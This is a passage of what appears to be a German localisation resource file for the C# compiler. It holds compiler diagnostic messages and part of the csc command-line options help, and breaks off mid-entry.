öffentliche Instanz- oder Erweiterungsdefinition für "{1}" enthält. + Das {0}-Ereignis kann nur links von += oder -= verwendet werden. + Der Standardparameterwert stimmt nicht mit dem Delegattyp im Ziel überein. + Ungültiges Include-Tag + Funktionszeiger + Die Typweiterleitung für den Typ "{0}" in der Assembly "{1}" verursacht eine Schleife. + Der Typ "{0}" enthält bereits eine Definition für "{1}". + Ein Ausdrucksbaum darf keinen Aufruf enthalten, in dem optionale Argumente verwendet werden. + Der Operator "{0}" kann nicht auf den Operanden "{1}" angewendet werden. + Metadatendatei "{0}" konnte nicht geöffnet werden: {1} + Beim Vergleich mit NULL vom Typ "{0}" wird immer "False" zurückgegeben. + Modul als Attributzielspezifizierer + Rekursive Muster + Diese Warnung kann generiert werden, wenn sich zwei Schnittstellenmethoden nur dain unterscheiden, ob ein bestimmter Parameter mit Verweis oder Ausgabe markiert wird. Am besten ändern Sie Ihren Code, um diese Warnung zu vermeiden, da es nicht offensichtlich ist und nicht sichergestellt werden kann, welche Methode zur Laufzeit aufgerufen wird. + +Obwohl C# zwischen Ausgabe und Verweis unterscheidet, sieht CLR da keinen Unterschied. Bei der Entscheidung welche Methode die Schnittstelle implementiert, wählt CLR nur eine aus. + +Unterstützen Sie den Compiler bei der Unterscheidung zwischen den Methoden. Dazu können Sie beispielsweise unterschiedliche Namen vergeben oder einen zusätzlichen Parameter angeben. + #r kann nicht nach dem ersten Token in der Datei verwendet werden. + "{0}" implementiert den Instanzschnittstellenmember "{1}" nicht. "{2}" kann den Schnittstellenmember nicht implementieren, da er statisch ist. + "{0}" implementiert den Schnittstellenmember "{1}" nicht. "{2}" kann in C#-{3} nicht implizit einen nicht öffentlichen Member implementieren. Verwenden Sie die Sprachversion "{4}" oder höher. + Gibt einen Parameter als Verweis "{0}" zurück, es handelt sich jedoch nicht um einen ref-Parameter. + Eine by-reference-Variable kann nicht mit einem Wert initialisiert werden. + benanntes Argument + Ein Rückgabetyp darf nur einen Modifizierer "{0}" aufweisen. + Der vordefinierte Typ "{0}" ist in mehreren Assemblys im globalen Alias definiert. Die Definition aus "{1}" wird verwendet. + Der Lambdaausdruck eines Ausdrucksbaums darf keinen Aufruf einer Methode, einer Eigenschaft oder eines Indexers enthalten, deren bzw. dessen Rückgabe als Verweis erfolgt. + Strukturfelder automatisch als Standard verwenden + Eine partielle Methode darf nicht den Modifizierer "abstract" aufweisen. + "{0}" wird bereits mit einer anderen NULL-Zulässigkeit oder abweichenden Verweistypen in der Schnittstellenliste für den Typ "{1}" aufgeführt. + Das Gleichheitszeichen zwischen Attribut und Attributwert fehlt. + Die Aktualisierung kann nicht durchgeführt werden, da sich ein abgeleiteter Delegattyp geändert hat. + Ein Tupel von "{0}" Elementen kann nicht in "{1}" Variablen dekonstruiert werden. + "{0}" implementiert den geerbten abstrakten Member "{1}" nicht. + Dasselbe Verzeichnis ({0}) darf nicht mehrere Konfigurationsdateien des Analysetools enthalten. + Das Sprachfeature "Inlinearrays" wird für Inlinearraytypen mit Einem Elementfeld, das entweder ein ref-Feld ist oder einen Typ aufweist, der als Typargument ungültig ist, nicht unterstützt. + "{0}" kann nicht versiegelt werden, weil der enthaltende Datensatz nicht versiegelt ist. + Es kann keine Instanz des Variablentyps "{0}" erstellt werden, weil er keine new()-Einschränkung aufweist. + Der Typ von "{0}" kann nicht abgeleitet werden, da der Initialisierer direkt oder indirekt auf die Definition verweist. + {0}: Die Zielruntime unterstützt keine covarianten Typen in Überschreibungen. Der Typ muss "{2}" sein, um dem überschriebenen Member "{1}" zu entsprechen. + "#load" ist nur in Skripts zulässig. + Die überladene {0}-Methode, die sich nur durch unbenannte Arraytypen unterscheidet, ist nicht CLS-kompatibel. + Der Verweistypmodifizierer des Parameters stimmt nicht mit dem entsprechenden Parameter im überschriebenen oder implementierten Member überein. + Dies weist einen Wert zu, der über einen breiteren Werte-Escapebereich als das Ziel verfügt, wodurch die Zuweisung durch das Ziel von Werten mit engeren Escapebereichen ermöglicht wird. + Ein feldähnliches Ereignis "{0}" darf nicht "readonly" sein. + Ein Attributargument muss ein constant-, typeof- oder Arrayerstellungsausdruck eines Attributparametertyps sein. + schreibgeschützte Strukturen + throw-Ausdruck + partielle Typen + Der angegebene Ausdruck stimmt nie mit dem angegebenen Muster überein. + Der generische Parameter ist eine Definition, erwartet wurde ein Verweis {0}. + An expression tree may not contain a collection expression. + Der Rückgabewert muss ungleich NULL sein, weil der Parameter "{0}" nicht NULL ist. + Die Syntax "var (...)" als lvalue ist reserviert. + "{0}" überschreibt die erwartete Methode von "{1}" nicht. + Der Strukturmember gibt "this" oder andere Instanzmember als Verweis zurück. + Die /noconfig-Option wird ignoriert, da sie in einer Antwortdatei angegeben wurde. + „{0}“ implementiert den Schnittstellenelement „{1}“ nicht. „{2}“ ist nicht statisch und kann daher keinen Schnittstellenelement implementieren. + "{0}": Eigenschaften oder Indexer können nicht über einen void-Typ verfügen. + "{0}": Der geerbte Member "{1}" kann nicht überschrieben werden, da er versiegelt ist. + Iteratoren dürfen keine ref-, in- oder out-Parameter aufweisen. + Alle Argumente der indizierten Eigenschaft "{0}" müssen optional sein. + Das Feld "{0}" muss vollständig zugewiesen werden, bevor das Steuerelement an den Aufrufer zurückgegeben wird. Aktualisieren Sie ggf. auf die Sprachversion "{1}", um das Feld automatisch als Standard zu verwenden. + Beide Deklarationen der partiellen Methode müssen den gleichen Rückgabetyp aufweisen. + Inkonsistente Verwendung des lambda-Parameters. Alle Parametertypen müssen entweder explizit oder implizit sein. + Analyseassembly konnte nicht geladen werden + Der Typ des implizit typisierten Verwerfungsvorgangs kann nicht abgeleitet werden. + Der Typ "{0}" in der Schnittstellenliste ist keine Schnittstelle. + Signaturen von abfangbaren Methoden und Interceptormethoden stimmen nicht überein. + Unerwartetes Schlüsselwort „Datensatz“. Meinten Sie „Datensatzstruktur“ oder „Datensatzklasse“? + Element + Das "Parameter null-checking"-Feature wird nicht unterstützt. + Ein __arglist-Parameter muss der letzte Parameter in einer Parameterliste sein. + "{0}" ist kein gültiger C#-Verbundzuweisungsvorgang. + Ein Ausdrucksbaum darf keinen Mustervergleichsoperator "is" enthalten. + Der Attributkonstruktor "{0}" kann nicht verwendet werden, weil er "in"- oder "ref readonly"-Parameter aufweist. + Verweis auf foreach-Iterationsvariablen + Mehrdeutige benutzerdefinierte Konvertierungen von "{0}" und "{1}" bei der Konvertierung von "{2}" in "{3}". + Der Interoptyp "{0}" kann nicht eingebettet werden. Verwenden Sie stattdessen die entsprechende Schnittstelle. + Der Ausdruck muss vom Typ "{0}" sein, weil er als Verweis zugewiesen wird. + Assembly enthält keine Analysen + Keine Überladung für "{0}" stimmt mit dem Funktionszeiger "{1}" überein. + Indiziert einen Array mit einem negativen Index + Eigenschaften, deren Rückgabe als Verweis erfolgt, dürfen keine set-Accessoren besitzen. + Befehlszeilen-Syntaxfehler: In der Option "{0}" fehlt ":< Nummer>". + Der Verweis auf Typ "{0}" wurde angeblich in "{1}" deklariert, konnte jedoch nicht gefunden werden. + "{0}" (lokal) dient als Argument für eine using- oder lock-Anweisung, hat jedoch möglicherweise einen falschen Wert zugewiesen bekommen. Der Dispose-Aufruf bzw. das Aufheben der Sperre erfolgt für den ursprünglichen Wert der lokalen Variablen. + Ein Tupel mit {0} Elementen kann nicht in den Typ "{1}" konvertiert werden. + Das Zeichen "<" kann in einem Attributwert nicht verwendet werden. + Erfasst die Adresse, ermittelt die Größe oder deklariert einen Zeiger auf einen verwalteten Typ ({0}). + Ein Kopierkonstruktor in einem Datensatz muss einen Kopierkonstruktor der Basis oder einen parameterlosen Objektkonstruktor aufrufen, wenn der Datensatz von einem Objekt erbt. + Ungültige #pragma checksum-Syntax; muss lauten: #pragma checksum "Dateiname" "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}" "XXXX..." + invariant + "{0}" dient nur zu Testzwecken und kann in zukünftigen Aktualisierungen geändert oder entfernt werden. Unterdrücken Sie diese Diagnose, um fortzufahren. + Die Position ist nicht innerhalb des Syntaxbaums mit dem Vollbereich {0}. + Es kann keine neue Erweiterungsmethode definiert werden, weil der für den Compiler erforderliche Typ "{0}" nicht gefunden werden kann. Fehlt möglicherweise ein Verweis auf "System.Core.dll"? + Die NULL-Zulässigkeit von Verweistypen im Rückgabetyp entspricht nicht der Deklaration der partiellen Methode. + Um als Kurzschlussoperator anwendbar zu sein, müssen der Rückgabetyp und die Parametertypen eines benutzerdefinierten logischen Operators ("{0}") übereinstimmen. + Der Vergleich erfolgte mit der gleichen Variablen. Wollten Sie etwas anderes vergleichen? + Zeilenumbrüche in Interpolationen + Der Modifizierer „scoped“ kann nicht mit „discard“ verwendet werden. + Bezeichner weist nur ab, wenn er nicht CLS-kompatibel ist + Der Parameter {0} weist den Modifizierer „params“ in der Lambdafunktion auf, aber nicht im Delegattyp des Ziels. + Ungültiges Literal für reelle Zahlen. + Sie können nicht die fixed-Anweisung verwenden, um die Adresse eines bereits festen Ausdrucks abzurufen. + "{0}" hat keine zugreifbaren Konstruktoren, die nur CLS-kompatible Typen verwenden. + Fehler bei der Auswertung des Dezimalkonstantenausdrucks. + Der Parameter "{0}" muss beim Beenden mit "{1}" einen Wert ungleich NULL aufweisen. + Listenmuster + Die Bezeichnung "{0}" ist ein Duplikat. + Einem schreibgeschützten Feld kann nichts zugewiesen werden (außer in einem Konstruktor oder init-only-Setter des Typs, in dem das Feld definiert ist, oder in einem Variableninitialisierer). + Non-Nullable-{0} "{1}" muss beim Beenden des Konstruktors einen Wert ungleich NULL enthalten. Erwägen Sie eine Deklaration von "{0}" als Nullable. + Der using-Alias "{0}" ist bereits vorher in diesem Namespace aufgetreten. + Das Argument "{0}" muss mit dem Schlüsselwort "{1}" übergeben werden. + Der primäre Konstruktorparameter vom Typ "{0}" innerhalb eines Instanzmembers kann nicht verwendet werden. + Das auf Parameter „{0}“ angewendete CallerArgumentExpressionAttribute hat keine Auswirkung. Es wird vom CallerMemberNameAttribute überschrieben. + Die NULL-Zulässigkeit von Verweistypen im Rückgabetyp entspricht nicht der Deklaration der partiellen Methode. + Ungültiger Wert für das benannte Attributargument "{0}". + Doppelte "{0}"-Einschränkung für "{1}"-Typparameter. + Member des schreibgeschützten Felds "{0}" vom Typ "{1}" können nicht mit einem Objektinitialisierer zugewiesen werden, da es sich um einen Werttyp handelt. + Feldähnliche Ereignisse sind in schreibgeschützten Strukturen unzulässig. + Der Tupelelementname "{0}" wird ignoriert, weil ein anderer oder gar kein Name auf der anderen Seite des ==- oder !=-Tupeloperators angegeben wurde. + Der Modifizierer "async" kann nur in Methoden verwendet werden, die über einen Textkörper verfügen. + Der switch-Ausdruck verarbeitet einige NULL-Eingaben nicht. + Partielle Deklarationen von "{0}" dürfen keine unterschiedlichen Basisklassen angeben. + 'Der Zugriff auf "{0}" ist aufgrund des Schutzgrads nicht möglich. + Ein Unterdrückungsoperator ist in diesem Kontext unzulässig. + Die geerbten Member "{0}" und "{1}" weisen die gleiche Signatur im Typ "{2}" auf, sie können also nicht überschrieben werden. + Der Indexerzugriff muss dynamisch gebunden werden. Dies ist aber nicht möglich, da er Teil eines Basiszugriffsausdrucks ist. Wandeln Sie die dynamischen Argumente um, oder löschen Sie den Basiszugriff. + "{0}" weist keine gültige Methode namens "{1}" auf, verfügt aber offenbar über eine Erweiterungsmethode mit diesem Namen. Erweiterungsmethoden können nicht dynamisch gebunden werden. Wandeln Sie die dynamischen Argumente um, oder rufen Sie die Erweiterungsmethode ohne die Syntax von Erweiterungsmethoden auf. + "{0}": Abstrakte Eigenschaften können keine private-Accessoren haben. + 'Der angegebene Ausdruck für den 'is'-Ausdruck darf niemals der angegebene Typ sein + Der Inlinearrayindexer wird nicht für den Elementzugriffsausdruck verwendet. + Die Zielruntime unterstützt keine statischen abstrakten Elemente in Schnittstellen. + Die angegebene Versionszeichenfolge '{0}' weist nicht das erforderliche Format auf: Hauptversion.Nebenversion.Build.Revision (ohne Platzhalter) + Verwenden Sie das Attribut "System.Runtime.CompilerServices.FixedBuffer" nicht für eine Eigenschaft. + Fehler beim Öffnen der Win32-Manifestdatei "{0}": {1} + "UnscopedRefAttribute" kann nur auf Strukturinstanzmethoden und -eigenschaften und nicht auf Konstruktoren oder init-only-Member angewendet werden. + "{0}" ist ein neuer virtueller Member im versiegelten Typ "{1}". + Die NULL-Zulässigkeit von Verweistypen im Typ des Parameters entspricht nicht der Deklaration der partiellen Methode. + Ausdrucksbäume dürfen keine indizierten Eigenschaften enthalten. + Ungültige #pragma-Prüfsummensyntax + Das Rohzeichenfolgenliteral beginnt nicht mit genügend Anführungszeichen, um so viele aufeinanderfolgende Anführungszeichen als Inhalt zuzulassen. + LookupOptions weist eine ungültige Kombination von Optionen auf. + Es wird ein Arrayinitialisierer der Länge "{0}" erwartet. + Ein schreibgeschütztes Feld kann nicht als schreibbarer Verweis zurückgegeben werden. + Erweiterbare fixed-Anweisung + Eine Ausdrucksbaumstruktur darf keinen vom Ende ausgehenden Indexausdruck ("^") enthalten. + Inlinearrays + Ein switch-Ausdruck oder eine case-Bezeichnung muss den Typ "bool", "char", "string", "integral", "enum" oder einen entsprechenden Nullable-Typ in C# 6 oder früher aufweisen. + Für eine minimale Typqualifizierung muss der Pfad angegeben werden. + Hinzugefügte Module müssen mit dem CLSCompliant-Attribut markiert werden, damit sie mit der Assembly übereinstimmen. + Der Typ "{2}" muss ein Referenztyp sein, damit er als {1}-Parameter im generischen Typ oder in der generischen Methode "{0}" verwendet werden kann. + Es kann nur Skriptcode übermittelt werden. + Der Datensatz definiert "Equals", aber nicht "GetHashCode". + "{0}": Überschreiben nicht möglich, weil "{1}" keinen überschreibbaren get-Accessor hat. + Eine vorherige Catch-Klausel erfasst bereits alle Ausnahmen + Bewegliche Puffer fester Größe werden indiziert. + "{0}" ist eine Binärdatei und keine Textdatei. + Auf Felder ausgerichtete Attribute für automatische Eigenschaften werden in dieser Sprachversion nicht unterstützt. + Der switch-Ausdruck muss ein Wert sein. Gefunden wurde "{0}". + "{0}" kann keiner Eigenschaft eines anonymen Typs zugeordnet werden. + Verwenden einer möglicherweise nicht zugewiesenen, automatisch implementierten Eigenschaft + "{0}" kann nicht zum Schreiben geöffnet werden: "{1}" + Die explizite Implementierung eines benutzerdefinierten Operators "{0}" muss als statisch deklariert werden. + Möglicherweise falsche leere Anweisung + Aus der {0}-Methode kann kein Delegat erstellt werden, da es sich um eine partielle Methode ohne implementierende Deklaration handelt. + Überschreiben Sie nicht object.Finalize, sondern stellen Sie einen Destruktor bereit. + Konstruktor und Destruktor für Ausdruckskörper + relationales Muster + Die NULL-Zulässigkeit von Verweistypen im Rückgabetyp entspricht nicht dem außer Kraft gesetzten Member. + Dateiname in Anführungszeichen, einzeilige Anmerkung oder Zeilenende erwartet. + Der Member "{0}" muss beim Beenden mit "{1}" einen Wert ungleich NULL aufweisen. + Der XML-Kommentar enthält ein cref-Attribut "{0}", das auf einen Typparameter verweist. + Der Delegat "{0}" enthält keinen gültigen Konstruktor. + ref-schreibgeschützte Parameter + Die Dekonstruktion muss mindestens zwei Variablen enthalten. + Die im Werttyp "{1}" definierte Erweiterungsmethode "{0}" kann nicht zum Erstellen von Delegaten verwendet werden. + Inkonsistenter Zugriff: Basisklasse "{1}" ist weniger zugreifbar als Klasse "{0}". + Eine "goto case"-Anweisung ist nur innerhalb einer switch-Anweisung gültig. + Gibt mittels Verweis einen Member von Parameter "{0}" über einen ref-Parameter zurück, dieser kann jedoch nur in einer return-Anweisung sicher zurückgegeben werden. + Die System.Object-Klasse kann keine Basisklasse haben oder eine Schnittstelle implementieren. + Verwendung einer nicht zugewiesenen lokalen Variablen + Eine statische anonyme Funktion kann keinen Verweis auf "this" oder "base" enthalten. + "{0}": Die Zugriffsmodifizierer können beim Überschreiben des geerbten {1}-Members "{2}" nicht geändert werden. + Indexer können keinen leeren Typ haben. + Inkonsistenter Zugriff: Parametertyp "{1}" ist weniger zugreifbar als Operator "{0}". + "{0}" muss mit der init-Zugriffsmethode des außer Kraft gesetzten Members "{1}" übereinstimmen. + Für ein Konstantenfeld muss ein Wert bereitgestellt werden. + Die Warnung "CS{0}" kann nicht wiederhergestellt werden, da sie global deaktiviert wurde. + Eine neue Finalize-Methode kann den Aufruf eines Destruktors stören. Wollten Sie einen Destruktor deklarieren? + Ein Member von "{0}" wird als Verweis zurückgegeben, wurde jedoch mit einem Wert initialisiert, der nicht als Verweis zurückgegeben werden kann. + Die NULL-Zulässigkeit des Rückgabetyps entspricht (möglicherweise aufgrund von Attributen für die NULL-Zulässigkeit) nicht dem überschriebenen Member. + Typen und Aliase dürfen nicht den Namen "record" aufweisen. + Der Text "{0}" darf kein Iteratorblock sein, weil die Rückgabe von "{0}" als Verweis erfolgt. + Falsche Anzahl von Indizes in []. {0} erwartet. + Verzögertes Signieren wurde angegeben und erfordert einen öffentlichen Schlüssel, es wurde aber kein öffentlicher Schlüssel angegeben. + Eine mit [DoesNotReturn] gekennzeichnete Methode darf nicht zurückgegeben werden. + Ungültiger Ausdruck "{0}". + Der Zugriffsmodifizierer des {0}-Accessors muss restriktiver sein als die Eigenschaft oder der Indexer "{1}". + Das CallerFilePathAttribute kann nur auf Parameter mit Standardwerten angewendet werden. + Fehlende Dateispezifikation für die Option "{0}". + Deklarationen partieller Methoden müssen übereinstimmende Ref-Rückgabewerte aufweisen. + Dateiname in Anführungszeichen erwartet. + Doppelte benutzerdefinierte Konvertierung in Typ "{0}". + Typ "byte", "sbyte", "short", "ushort", "int", "uint", "long" oder "ulong" erwartet. + Das Steuerelement wird an den Aufrufer zurückgegeben, bevor die automatisch implementierte Eigenschaft "{0}" explizit zugewiesen wird. Dies führt zu einer vorherigen impliziten Zuweisung von "default". + Unerwartete Verwendung eines generischen Namens. + "{0}" erfordert kein CLSCompliant-Attribut, da die Assembly kein CLSCompliant-Attribut aufweist. + Die Signatur "{0}" der verwalteten Co-Klassen-Wrapperklasse für die {1}-Schnittstelle ist keine gültige Klassennamensignatur. + Der Typ "{1}" ist in "{0}" und "{2}" vorhanden. + Der Typ "{0}" kann in diesem Kontext nicht verwendet werden, da er nicht in Metadaten dargestellt werden kann. + Mögliches Nullverweisargument für den Parameter "{0}" in "{1}". + Typenkonflikte mit importiertem Typ + Es wird ein konstanter Wert vom Typ '{0}' erwartet + Es kann kein konstruierter generischer Typ aus einem nicht generischen Typ erstellt werden. + Ein "{0}"-Zeichen kann nur durch Verdoppelung "{0}{0}" in einer interpolierten Zeichenfolge maskiert werden. + Ungültiges XML-Include-Element + Mögliche Nullverweisrückgabe. + Diese Warnung tritt auf, wenn Sie eine Klasse mit einer Methode erstellen, dessen Signatur eine öffentliche, virtuell virtuelle ungültige Finalize-Methode ist. + +Wenn solch eine Klasse als Basisklasse verwendet wird und die ableitende Klasse einen Destruktor definiert, überschreibt der Destruktor die Finalize-Methode der Basisklasse. + "Ungültiger Rangspezifizierer: Erwartet wurde ] + stackalloc-Initialisierer + Verwenden Sie nicht das System.Runtime.CompilerServices.FixedBuffer-Attribut. Verwenden Sie stattdessen den fixed-Feldmodifizierer. + Die Verwendung von NULL ist in diesem Kontext ungültig. + Gibt mittels Verweis einen Member des Parameters über einen ref-Parameter zurück, dieser kann jedoch nur in einer return-Anweisung sicher zurückgegeben werden. + Der Datensatzmember "{0}" muss privat sein. + globale using-Anweisung + Der Namespacealias-Qualifizierer "::" wird immer zu einem Typ oder Namespace aufgelöst und ist somit an dieser Stelle ungültig. Verwenden Sie stattdessen ".". + In Schnittstellen deklarierte Konvertierungs, Gleichheits oder Ungleichheitsoperatoren müssen abstrakt oder virtuell sein + Der Typparameter "{0}" kann nicht als as-Operator verwendet werden, da er keine Klassentypeinschränkung und keine Klasseneinschränkung aufweist. + Der dateilokale Typ "{0}" muss in einer Datei mit einem eindeutigen Pfad deklariert werden. Der Pfad "{1}" wird in mehreren Dateien verwendet. + Das base-Schlüsselwort ist in einer statischen Methode nicht verfügbar. + Das experimentelle Feature "Interceptors" ist nicht in diesem Namespace aktiviert. Fügen Sie Ihrem Projekt "{0}" hinzu. + Der Member "{0}" kann nicht initialisiert werden. Er ist kein Feld und keine Eigenschaft. + Mehrdeutigkeit zwischen "{0}" und "{1}" + Die lokale Funktion ist deklariert, wird aber nie verwendet. + Befehlszeilen-Syntaxfehler: Fehlende GUID für Option "{1}". + "{0}" kann nicht als {1}typ für eine Methode verwendet werden, die das Attribut "UnmanagedCallersOnly" aufweist. + Die Assembly "{0}", auf die verwiesen wird, hat einen anderen Zielprozessor. + "{0}" kann einer implizit typisierten Variablen nicht zugewiesen werden. + Fehler beim Schreiben der Ausgabedatei: {0}. + "{0}": Ein statischer Konstruktor kann keinen expliziten this- oder base-Konstruktoraufruf enthalten. + LIB-Umgebungsvariable + Die Modulinitialisierermethode "{0}" muss auf Modulebene zugänglich sein. + "{0}" kann "{1}" nicht implementieren, da "{2}" ein Windows-Runtime-Ereignis und "{3}" ein reguläres .NET-Ereignis ist. + "{0}" ist veraltet. + "{0}" ist vom Typ "{1}". In einer Konstantendeklaration muss als Typ "sbyte", "byte", "short", "ushort", "int", "uint", "long", "ulong", "char", "float", "double", "decimal", "bool", "string", ein Enumerationstyp oder ein Verweistyp angegeben werden. + Die angegebene Versionszeichenfolge entspricht nicht dem empfohlenen Format: Hauptversion.Nebenversion.Build.Revision + Die benutzerdefinierte Konvertierung in einer Schnittstelle muss in einen oder von einem Typparameter für den einschließenden Typ, der auf den einschließenden Typ beschränkt ist, konvertieren + Der {0}-Parameter hat (im Gegensatz zu anderen Parametern) kein entsprechendes param-Tag im XML-Kommentar für "{1}". + Die indizierte Eigenschaft "{0}" besitzt nicht optionale Argumente, die bereitgestellt werden müssen. + Damit der Typ "{0}" als "AsyncMethodBuilder" für den Typ "{1}" verwendet wird, muss seine Aufgabeneigenschaft den Typ "{1}" anstelle des Typs "{2}" zurückgeben. + "{0}": Ein Feld kann nicht gleichzeitig flüchtig und schreibgeschützt sein. + Nur Datensätze können von Datensätzen erben. + Nicht abgeschlossenes Zeichenfolgenliteral. + Attribute in Lambdaausdrücken erfordern eine in runde Klammern eingeschlossene Parameterliste. + Statische Typen können nicht als Parameter verwendet werden + #endregion-Direktive erwartet. + <missing> + Das interpolierte Rohzeichenfolgenliteral beginnt nicht mit genügend „$“-Zeichen, um so viele aufeinanderfolgende öffnende geschweifte Klammern als Inhalt zuzulassen. + Die NULL-Zulässigkeit von Verweistypen im Typ entspricht nicht dem implizit implementierten Member. + Der Parametername "{0}" verursacht einen Konflikt mit einem automatisch generierten Parameternamen. + Typparameter sind in einer Methodengruppe als Argument für "nameof" nicht zulässig. + Inkonsistenter Zugriff: Parametertyp "{1}" ist weniger zugreifbar als Delegat "{0}". + Die Verwendung des Alias darf nicht vom Typ 'ref' sein. + Eine vorherige Catch-Klausel hat bereits alle Ausnahmen abgefangen. Alle ausgelösten Nicht-Ausnahmen werden von einer System.Runtime.CompilerServices.RuntimeWrappedException umschlossen. + Der enthaltene XML-Abschnitt konnte nur teilweise oder gar nicht eingefügt werden. + Kann nicht auf "{0}" warten. + Die default-Einschränkung ist nur für Überschreibungsmethoden und Methoden zur expliziten Schnittstellenimplementierung gültig. + Parameter + Konstantenwert erwartet. + Fehler beim Generieren der Quelle durch den Generator "{0}". Dies trägt nicht zur Ausgabe bei, und es können Kompilierungsfehler auftreten. Ausnahme vom Typ "{1}" mit Meldung "{2}". +{3} + Der {0}-Typparameter hat den gleichen Namen wie der Typparameter des äußeren Typs "{1}" + Literale vom Typ "double" können nicht implizit in den Typ "{1}" konvertiert werden. Verwenden Sie ein {0}-Suffix, um ein Literal mit diesem Typ zu erstellen. + There is no target type for the collection expression. + Eine Variable darf nicht innerhalb eines not- oder or-Musters deklariert werden. + + Visual C# Compileroptionen + + – AUSGABEDATEIEN – +-out:<file> Gibt den Namen der Ausgabedatei an (Standard: Basisname der + Datei mit der Hauptklasse oder der ersten Datei) +-target:exe Erstellt eine ausführbare Konsolen-Datei (Standard) + Kurzform: -t:exe) +-target:winexe Erstellt eine ausführbare Windows-Datei (Kurzform: + -t:winexe) +-target:library Erstellt eine Bibliothek (Kurzform: -t:library) +-target:module Erstellt ein Modul, das einer anderen Assembly + hinzugefügt werden kann (Kurzform: -t:module) +-target:appcontainerexe Erstellt eine ausführbare Appcontainer-Datei (Kurzform: + -t:appcontainerexe) +-target:winmdobj Erstellt eine Windows-Runtime Zwischendatei, die + von WinMDExp verbraucht wird (Kurzform: -t:winmdobj) +-doc:<file> Zu erzeugende XML-Dokumentationsdatei +-refout:<file> Zu erzeugende Referenzassembly-Ausgabe +-platform:<string> Einschränken, auf welchen Plattformen dieser Code ausgeführt werden kann: x86, + Itanium, x64, arm, arm64, anycpu32bitpreferred oder + anycpu. Der Standardwert ist "anycpu". + + – EINGABEDATEIEN – +-recurse:<wildcard> Alle Dateien im aktuellen Verzeichnis und + Unterverzeichnissen gemäß der + Platzhalterspezifikationen +-reference:<alias>=<file> Verweist auf Metadaten in der angegebenen Assemblydatei + mit dem angegebenen Alias (Kurzform: -r) +/reference:<Dateiliste> Verweist auf Metadaten in den angegebenen Assemblydateien + (Kurzform: -r) +-addmodule:<file list> Verknüpft die angegebenen Module mit dieser Assembly +-link:<file list> Metadaten aus der angegebenen Interopassemblydateien + (Kurzform: -l) +-analyzer:<file list> Analysetools aus dieser Assembly ausführen + (Kurzform: -a) +-additionalfile:<file list> Zusätzliche Dateien, die nicht direkt + Codegenerierung betreffen, können aber von Analysetools zur Erzeugung von + Fehlern oder Warnungen verwendet werden. +-embed Einbetten aller Quelldateien in PDB. +-embed:<file list> Einbetten bestimmter Dateien in PDB. + + – RESSOURCEN – +-win32res:<file> Gibt eine Win32-Ressourcendatei an (.res) +-win32icon:<file> Verwendet dieses Symbol für die Ausgabe +-win32manifest:<file> Gibt eine Win32-Manifestdatei an (.xml) +-nowin32manifest Win32-Standardmanifest nicht einschließen +-resource:<resinfo> Einbetten der angegebenen (Kurzform: -res) +-linkresource:<resinfo> Verknüpft die angegebene Ressource mit dieser Assembly + (Kurzform: -linkres) Wobei das Resinfo-Format + ist <file>[,<string name>[,public|private]] + + – CODEGENERIERUNG – +-debug[+|-] Gibt Debuginformationen aus +-debug:{full|pdbonly|portable|embedded} + Debugtyp angeben ("full" ist Standard, + "portable" ist ein plattformübergreifendes Format, + "embedded" ist ein plattformübergreifendes Format, das in + die Zieldatei DLL oder EXE eingebettet ist) +-optimize[+|-] Optimierungen aktivieren (Kurzform: -o) +-deterministic Erzeugt einer deterministischen Assembly + (einschließlich Modulversions-GUID und Zeitstempel) +-refonly Erzeugt eine Referenzassembly anstelle der Hauptausgabe +-instrument:TestCoverage Erzeugt eine Assembly für die Erfassung von + Abdeckungsinformationen +-sourcelink:<file> Quelllinkinformationen zum Einbetten in PDB. + + – FEHLER UND WARNUNGEN – +-warnaserror[+|-] Alle Warnungen als Fehler melden +-warnaserror[+|-]:<warn list> Bestimmte Warnungen als Fehler melden + (verwenden Sie "nullable" für alle NULL-Zulässigkeit-Warnungen) +-warn:<n> Festlegen der Warnstufe (0 oder höher) (Kurzform: -w) +-nowarn:<warn list> Bestimmte Warnmeldungen deaktivieren + (verwenden Sie "nullable" für alle NULL-Zulässigkeit-Warnungen) +-ruleset:<datei> Gibt eine Regelsatzdatei an, die bestimmte + Diagnosen deaktiviert. +-errorlog:<file>[,version=<sarif_version>] + Geben Sie eine Datei zum Protokollieren aller Compiler- und Analysetools-Diagnosen + an. + sarif_version:{1|2|2.1} Der Standardwert ist 1. 2 und 2.1 + beide bedeuten SARIF-Version 2.1.0. +-reportanalyzer Weitere Analyseinformationen melden, z. B. + Ausführungszeit. +-skipanalyzers[+|-] Ausführung von Diagnoseanalysetools überspringen. + + – SPRACHE – +-checked[+|-] Überlaufprüfungen generieren +-unsafe[+|-] Unsicheren Code zulassen +-define:<symbol list> Definieren von Symbolen für die bedingte Kompilierung + (Kurzform: -d) +-langversion:? Anzeigen der zulässigen Werte für die Sprachversion +-langversion:<string> Sprachversion angeben, z. B. + "latest" (neueste Version, einschließlich Nebenversionen), + "default" (identisch mit "latest"), + "latestmajor" (neueste Version, einschließlich Nebenversionen), + "preview" (neueste Version, einschließlich Features in nicht unterstützter Vorschau), + oder bestimmte Versionen wie "6" oder "7.1" +-nullable[+|-] Gibt die „Nullwerte zulassend“-Kontextoption enable|disable an. +-nullable:{enable|disable|warnings|annotations} + Gibt die „Nullwerte zulassend“-Kontextoption enable|disable|warnings|annotations an. + + – SICHERHEIT – +-delaysign[+|-] Verzögertes Signieren der Assembly nur mit dem öffentlichen + Teil des Schlüssels mit starkem Namen +-publicsign[+|-] Öffentliches Signieren der Assembly nur mit dem öffentlichen + Teil des Schlüssels mit starkem Namen +-keyfile:<file> Gibt eine Schlüsseldatei mit starkem Namen an +-keycontainer:<string> Gibt einen Schlüsselcontainer mit starkem Namen an +-highentropyva[+|-] Aktiviert ASLR mit hoher Entropie + + – SONSTIGES – +@<file> Antwortdatei mit weiteren Optionen lesen +-help Zeigt diese Syntaxmeldung an (Kurzform: -?) +-nologo Compiler-Copyrightmeldung unterdrücken +-noconfig CSC.RSP-Datei nicht automatisch einschließen +-parallel[+|-] Gleichzeitiger Build. +-version Zeigt die Compilerversionsnummer an und beendet sie. + + – ERWEITERT – +-baseaddress:<address> Basisadresse für die zu erstellende Bibliothek +-checksumalgorithm:<alg> Gibt einen Algorithmus zum Berechnen der Prüfsumme-Quelldatei + an, die in PDB gespeichert ist. Folgende Werte werden unterstützt: + SHA1 oder SHA256 (Standard). +-codepage:<n> Gibt die beim Öffnen von Quelldateien + zu verwendende Codepage an +-utf8output Ausgabecompilermeldungen in UTF-8-Codierung +-main:<type> Gibt den Typ an, der den Einstiegspunkt 